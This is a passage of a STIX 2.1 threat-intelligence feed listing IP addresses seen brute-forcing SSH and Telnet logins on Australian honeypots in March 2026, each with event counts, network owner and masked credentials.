      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2****************s, 3***********4, 3**********4, L*********9, P*******6.",
      "id": "indicator--469b1419-4af1-414b-ba9d-5ac501dfc2c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.219.234.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T17:15:13.000Z",
      "valid_until": "2026-04-02T17:15:12.000Z"
    },
    {
      "created": "2026-03-01T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 270. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 17557. Organisation(s): Pakistan Telecommunication Company Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******q, 1******3, E******6.",
      "id": "indicator--1002bf2b-77e0-4005-8532-e275bc8a9089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.180.91.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T17:15:13.000Z",
      "valid_until": "2026-04-02T17:15:12.000Z"
    },
    {
      "created": "2026-03-01T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 270. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EC. ASN(s): 14522. Organisation(s): SERVICIOS DE TELECOMUNICACIONES SETEL S.A. XTRIM EC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******q, 1******3, E******6.",
      "id": "indicator--526fae89-04a0-4e66-9f66-c6dcda641131",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.68.83.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T17:15:13.000Z",
      "valid_until": "2026-04-02T17:15:12.000Z"
    },
    {
      "created": "2026-03-01T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fc52f6a3-d4c9-4d74-8b7e-7968c719bc8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T17:15:13.000Z",
      "valid_until": "2026-04-02T17:15:12.000Z"
    },
    {
      "created": "2026-03-01T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, s**v, e******m, n**e, s****a. Passwords observed (masked): 1******8, ***, 1**4, 1****6, a****3.",
      "id": "indicator--c1d97e5d-c50e-4aa1-88ad-0506ffefd100",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '2.57.122.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T17:15:13.000Z",
      "valid_until": "2026-04-02T17:15:12.000Z"
    },
    {
      "created": "2026-03-01T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--f4a0c43e-5e3d-4309-90e1-53b17f1fe3e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.132.136.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T17:15:13.000Z",
      "valid_until": "2026-04-02T17:15:12.000Z"
    },
    {
      "created": "2026-03-01T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--7482a3b9-aae9-46da-a607-9ea3f5822e82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.236.202.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T17:15:13.000Z",
      "valid_until": "2026-04-02T17:15:12.000Z"
    },
    {
      "created": "2026-03-01T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--bb238628-7a2a-4ea9-a9f8-24d5402f1ced",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '47.237.102.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T17:15:13.000Z",
      "valid_until": "2026-04-02T17:15:12.000Z"
    },
    {
      "created": "2026-03-01T17:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--27c92a37-e717-4e21-b7d2-19cecae824f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.167.169.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T17:15:13.000Z",
      "valid_until": "2026-04-02T17:15:12.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******E, 3**********4, A************9, H********$, L******6.",
      "id": "indicator--973f5ab3-7e23-4470-9319-429ae2823a0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.140.216']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*********y, 1*******1, 7******7.",
      "id": "indicator--d169a75c-ccd2-464e-a6dc-a2bc3b121aec",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.187.147.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--ad3854e7-515d-490b-816d-0c8a4c1c61f1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '105.187.32.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*********y, 1*******1, 7******7.",
      "id": "indicator--f86f37c2-4b67-4117-98e7-bfce823a9560",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '118.193.39.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 394695. Organisation(s): PDR. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*********y, 1*******1, 7******7.",
      "id": "indicator--b48749d6-69e6-4c3e-a530-a3629811ca71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '119.18.55.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--8a2c451a-9a77-413d-ab86-eb90ce313f6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.195.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--9d8a031b-7d2c-4ba4-8a0d-aced07db627c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '134.199.206.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 38. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1******8, a***n, p******d, r**t.",
      "id": "indicator--d169d6f0-34c7-4071-a1ec-e23803165e22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '138.68.138.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 286. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, u****u. Passwords observed (masked): 1****3, 1***5, 1****6, 1******8, 1*******9.",
      "id": "indicator--2b8ddddf-5513-490e-9ee2-5b72c50f8eb3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.19.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 46. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, 1****6, 1******8, a***n, p******d.",
      "id": "indicator--175d2110-8fab-4ef2-b9b1-78100fc6b3e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '142.93.184.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*********y, 1*******1, 7******7.",
      "id": "indicator--331d5345-067a-4d3c-9021-d55d437c1b60",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.83.196.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 8473. Organisation(s): Bahnhof AB. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******E, 2**********v, A*********9.",
      "id": "indicator--2713a621-70a6-4c04-a636-8955f3c1cdd4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '155.4.244.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 138152. Organisation(s): YISU CLOUD LTD. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--445d0348-b755-4bf5-a342-75aa5a98908c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '156.227.233.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 16509. Organisation(s): Amazon.com, Inc.. Usernames observed (masked): A*******************p, G************1, U**************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--0ef48a76-5771-4d83-832a-c3ac9464f84c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '16.58.56.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--d9437fd5-8c1a-4e81-8de7-d5399fe547bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '170.64.166.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A*********3, Q******3, S*******3.",
      "id": "indicator--1f76d7c2-9ff1-4529-89fa-8221833fa210",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '171.61.21.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1********!, A*******6, A*******4.",
      "id": "indicator--1c11491d-75c7-4757-bd69-c22bbdc7c9d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.214.209.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 11664. Organisation(s): Techtel LMDS Comunicaciones Interactivas S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*********y, 1*******1, 7******7.",
      "id": "indicator--b999b156-9429-43aa-a69d-cfd86edfb6e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.182.93.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: ID. ASN(s): 24523. Organisation(s): Orion Cyber Internet.",
      "id": "indicator--75167791-0efb-4a50-8618-592dca53fc63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.247.22.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 270. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 9924. Organisation(s): Taiwan Fixed Network, Telco and Network Service Provider.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1********!, A*******6, A*******4.",
      "id": "indicator--936cabd3-f936-42dd-aa4a-8338eff68641",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.199.224.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, p******s, u**r, a***n, a*****e. Passwords observed (masked): 1****6, *, ***, a***n, u****u.",
      "id": "indicator--851b7ff0-4f81-4ab3-9d90-9fcaf0db3e8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.122.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): a***n, r**t, e******r, j*****s, d****r. Passwords observed (masked): P******d, !***t, 1****1, 1****3, 1****1.",
      "id": "indicator--e50df0af-5f2c-482a-8a56-31ae8c55005c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.123.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T18:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 3216. Organisation(s): PVimpelCom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A***************3, K*******3, P************6.",
      "id": "indicator--e47aab73-b615-4a04-baa7-56749125e6a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T18:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '79.104.0.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T18:15:13.000Z",
      "valid_until": "2026-04-02T18:15:11.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3**********4, 7******., A*******3, a***n@123.com.",
      "id": "indicator--c73cd8d3-3112-449e-9c8a-8f72158d14f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-01T19:15:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '101.47.163.225']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-01T19:15:06.000Z",
      "valid_until": "2026-04-02T19:15:05.000Z"
    },
    {
      "created": "2026-03-01T19:15:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 132670. Organisation(s): PT Aseli Dagadu Djokdja. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1**********d, A*******3, H******6.",
